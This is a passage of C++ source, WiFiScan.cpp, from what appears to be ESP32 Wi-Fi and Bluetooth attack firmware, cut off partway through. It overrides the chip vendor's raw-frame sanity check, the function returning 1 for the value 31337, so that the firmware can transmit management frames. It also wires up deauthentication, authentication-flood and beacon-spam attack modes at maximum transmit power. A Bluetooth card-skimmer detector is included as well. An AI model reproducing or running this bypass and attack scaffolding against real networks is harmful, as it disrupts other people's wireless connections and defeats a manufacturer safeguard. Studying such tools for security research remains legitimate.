WiFiScan.cpp 107 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  242. RunRawScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  246. RunAPScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_PWN)
  248. RunPwnScan(scan_mode, color);
  249. else if (scan_mode == WIFI_SCAN_DEAUTH)
  250. RunDeauthScan(scan_mode, color);
  251. else if (scan_mode == WIFI_PACKET_MONITOR) {
  252. #ifdef HAS_SCREEN
  253. RunPacketMonitor(scan_mode, color);
  254. #endif
  255. }
  256. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  258. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  260. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  261. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  262. else if (scan_mode == WIFI_ATTACK_AUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  264. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  265. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  266. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  267. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  268. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  269. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  270. else if (scan_mode == BT_SCAN_ALL) {
  271. #ifdef HAS_BT
  272. RunBluetoothScan(scan_mode, color);
  273. #endif
  274. }
  275. else if (scan_mode == BT_SCAN_SKIMMERS) {
  276. #ifdef HAS_BT
  277. RunBluetoothScan(scan_mode, color);
  278. #endif
  279. }
  280. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  281. RunEspressifScan(scan_mode, color);
  282. else if (scan_mode == LV_JOIN_WIFI) {
  283. #ifdef HAS_SCREEN
  284. RunLvJoinWiFi(scan_mode, color);
  285. #endif
  286. }
  287. else if (scan_mode == LV_ADD_SSID) {
  288. #ifdef HAS_SCREEN
  289. RunLvJoinWiFi(scan_mode, color);
  290. #endif
  291. }
  292. WiFiScan::currentScanMode = scan_mode;
  293. }
  294. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  295. // Common wifi attack configurations
  296. #ifdef HAS_SCREEN
  297. display_obj.TOP_FIXED_AREA_2 = 48;
  298. display_obj.tteBar = true;
  299. display_obj.print_delay_1 = 15;
  300. display_obj.print_delay_2 = 10;
  301. display_obj.initScrollValues(true);
  302. display_obj.tft.setTextWrap(false);
  303. display_obj.tft.setTextColor(TFT_BLACK, color);
  304. display_obj.tft.fillRect(0,16,240,16, color);
  305. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  306. display_obj.touchToExit();
  307. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  308. #endif
  309. packets_sent = 0;
  310. WiFi.mode(WIFI_AP_STA);
  311. //esp_wifi_init(&cfg);
  312. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  313. //esp_wifi_set_mode(WIFI_AP_STA);
  314. //esp_wifi_start();
  315. //esp_wifi_set_promiscuous_filter(NULL);
  316. esp_wifi_set_promiscuous(true);
  317. esp_wifi_set_max_tx_power(82);
  318. this->wifi_initialized = true;
  319. #ifdef MARAUDER_FLIPPER
  320. flipper_led.attackLED();
  321. #else
  322. led_obj.setMode(MODE_ATTACK);
  323. #endif
  324. initTime = millis();
  325. }
  326. bool WiFiScan::shutdownWiFi() {
  327. if (this->wifi_initialized) {
  328. esp_wifi_set_promiscuous(false);
  329. WiFi.disconnect();
  330. WiFi.mode(WIFI_OFF);
  331. dst_mac = "ff:ff:ff:ff:ff:ff";
  332. esp_wifi_set_mode(WIFI_MODE_NULL);
  333. esp_wifi_stop();
  334. esp_wifi_deinit();
  335. #ifdef MARAUDER_FLIPPER
  336. flipper_led.offLED();
  337. #else
  338. led_obj.setMode(MODE_OFF);
  339. #endif
  340. this->wifi_initialized = false;
  341. return true;
  342. }
  343. else {
  344. return false;
  345. }
  346. }
  347. bool WiFiScan::shutdownBLE() {
  348. #ifdef HAS_BT
  349. if (this->ble_initialized) {
  350. pBLEScan->stop();
  351. pBLEScan->clearResults();
  352. BLEDevice::deinit();
  353. #ifdef MARAUDER_FLIPPER
  354. flipper_led.offLED();
  355. #else
  356. led_obj.setMode(MODE_OFF);
  357. #endif
  358. this->ble_initialized = false;
  359. return true;
  360. }
  361. else {
  362. return false;
  363. }
  364. #endif
  365. return true;
  366. }
  367. // Function to stop all wifi scans
  368. void WiFiScan::StopScan(uint8_t scan_mode)
  369. {
  370. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  371. (currentScanMode == WIFI_SCAN_AP) ||
  372. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  373. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  374. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  375. (currentScanMode == WIFI_SCAN_PWN) ||
  376. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  377. (currentScanMode == WIFI_SCAN_EAPOL) ||
  378. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  379. (currentScanMode == WIFI_SCAN_ALL) ||
  380. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  381. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  382. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  383. (currentScanMode == WIFI_ATTACK_AUTH) ||
  384. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  385. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  386. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  387. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  388. (currentScanMode == WIFI_PACKET_MONITOR) ||
  389. (currentScanMode == LV_JOIN_WIFI))
  390. {
  391. this->shutdownWiFi();
  392. }
  393. else if ((currentScanMode == BT_SCAN_ALL) ||
  394. (currentScanMode == BT_SCAN_SKIMMERS))
  395. {
  396. #ifdef HAS_BT
  397. this->shutdownBLE();
  398. #endif
  399. }
  400. #ifdef HAS_SCREEN
  401. display_obj.display_buffer->clear();
  402. #ifdef SCREEN_BUFFER
  403. display_obj.screen_buffer->clear();
  404. #endif
  405. //Serial.print("display_buffer->size(): ");
  406. Serial.println(display_obj.display_buffer->size());
  407. display_obj.tteBar = false;
  408. #endif
  409. }
  410. String WiFiScan::getStaMAC()
  411. {
  412. char *buf;
  413. uint8_t mac[6];
  414. char macAddrChr[18] = {0};
  415. esp_wifi_init(&cfg);
  416. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  417. esp_wifi_set_mode(WIFI_MODE_NULL);
  418. esp_wifi_start();
  419. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  420. this->wifi_initialized = true;
  421. sprintf(macAddrChr,
  422. "%02X:%02X:%02X:%02X:%02X:%02X",
  423. mac[0],
  424. mac[1],
  425. mac[2],
  426. mac[3],
  427. mac[4],
  428. mac[5]);
  429. this->shutdownWiFi();
  430. return String(macAddrChr);
  431. }
  432. String WiFiScan::getApMAC()
  433. {
  434. char *buf;
  435. uint8_t mac[6];
  436. char macAddrChr[18] = {0};
  437. esp_wifi_init(&cfg);
  438. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  439. esp_wifi_set_mode(WIFI_MODE_NULL);
  440. esp_wifi_start();
  441. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  442. this->wifi_initialized = true;
  443. sprintf(macAddrChr,
  444. "%02X:%02X:%02X:%02X:%02X:%02X",
  445. mac[0],
  446. mac[1],
  447. mac[2],
  448. mac[3],
  449. mac[4],
  450. mac[5]);
  451. this->shutdownWiFi();
  452. return String(macAddrChr);
  453. }
  454. String WiFiScan::freeRAM()
  455. {
  456. char s[150];
  457. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  458. this->free_ram = String(esp_get_free_heap_size());
  459. return String(s);
  460. }
  461. // Function to start running a beacon scan
  462. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  463. {
  464. sd_obj.openCapture("ap");
  465. #ifdef MARAUDER_FLIPPER
  466. flipper_led.sniffLED();
  467. #else
  468. led_obj.setMode(MODE_SNIFF);
  469. #endif
  470. Serial.println(text_table4[9] + (String)access_points->size());
  471. #ifdef HAS_SCREEN
  472. display_obj.TOP_FIXED_AREA_2 = 48;
  473. display_obj.tteBar = true;
  474. display_obj.print_delay_1 = 15;
  475. display_obj.print_delay_2 = 10;
  476. display_obj.initScrollValues(true);
  477. display_obj.tft.setTextWrap(false);
  478. display_obj.tft.setTextColor(TFT_WHITE, color);
  479. #ifndef MARAUDER_MINI
  480. display_obj.tft.fillRect(0,16,240,16, color);
  481. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  482. display_obj.touchToExit();
  483. #endif
  484. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  485. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  486. #endif
  487. esp_wifi_init(&cfg);
  488. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  489. esp_wifi_set_mode(WIFI_MODE_NULL);
  490. esp_wifi_start();
  491. esp_wifi_set_promiscuous(true);
  492. esp_wifi_set_promiscuous_filter(&filt);
  493. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  494. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  495. //else
  496. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  497. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  498. this->wifi_initialized = true;
  499. initTime = millis();
  500. }
  501. #ifdef HAS_SCREEN
  502. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  503. display_obj.tft.init();
  504. display_obj.tft.setRotation(1);
  505. #ifdef TFT_SHIELD
  506. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  507. Serial.println("Using TFT Shield");
  508. #else if defined(TFT_DIY)
  509. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  510. Serial.println("Using TFT DIY");
  511. #endif
  512. display_obj.tft.setTouch(calData);
  513. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  514. lv_disp_load_scr(scr);
  515. }
  516. #endif
  517. void WiFiScan::RunClearAPs() {
  518. #ifdef HAS_SCREEN
  519. display_obj.tft.setTextWrap(false);
  520. display_obj.tft.setFreeFont(NULL);
  521. display_obj.tft.setCursor(0, 100);
  522. display_obj.tft.setTextSize(1);
  523. display_obj.tft.setTextColor(TFT_CYAN);
  524. display_obj.tft.println(F(text_table4[9]));
  525. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  526. #else
  527. this->clearAPs();
  528. #endif
  529. }
  530. void WiFiScan::RunClearSSIDs() {
  531. #ifdef HAS_SCREEN
  532. display_obj.tft.setTextWrap(false);
  533. display_obj.tft.setFreeFont(NULL);
  534. display_obj.tft.setCursor(0, 100);
  535. display_obj.tft.setTextSize(1);
  536. display_obj.tft.setTextColor(TFT_CYAN);
  537. display_obj.tft.println(F(text_table4[11]));
  538. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  539. #else
  540. this->clearSSIDs();
  541. #endif
  542. }
  543. void WiFiScan::RunGenerateSSIDs(int count) {
  544. #ifdef HAS_SCREEN
  545. display_obj.tft.setTextWrap(false);
  546. display_obj.tft.setFreeFont(NULL);
  547. display_obj.tft.setCursor(0, 100);
  548. display_obj.tft.setTextSize(1);
  549. display_obj.tft.setTextColor(TFT_CYAN);
  550. display_obj.tft.println(F(text_table4[13]));
  551. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  552. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  553. #else
  554. this->generateSSIDs(count);
  555. #endif
  556. }
  557. void WiFiScan::RunShutdownWiFi() {
  558. #ifdef HAS_SCREEN
  559. display_obj.tft.setTextWrap(false);
  560. display_obj.tft.setFreeFont(NULL);
  561. display_obj.tft.setCursor(0, 100);
  562. display_obj.tft.setTextSize(1);
  563. display_obj.tft.setTextColor(TFT_CYAN);
  564. display_obj.tft.print(F(text_table4[16]));
  565. #endif
  566. if (this->wifi_initialized) {
  567. this->shutdownWiFi();
  568. #ifdef HAS_SCREEN
  569. display_obj.tft.setTextColor(TFT_GREEN);
  570. display_obj.tft.println(F("OK"));
  571. #endif
  572. }
  573. else {
  574. #ifdef HAS_SCREEN
  575. display_obj.tft.setTextColor(TFT_RED);
  576. display_obj.tft.println(F(text17));
  577. display_obj.tft.println(F(text_table4[17]));
  578. #endif
  579. }
  580. }
  581. void WiFiScan::RunShutdownBLE() {
  582. #ifdef HAS_SCREEN
  583. display_obj.tft.setTextWrap(false);
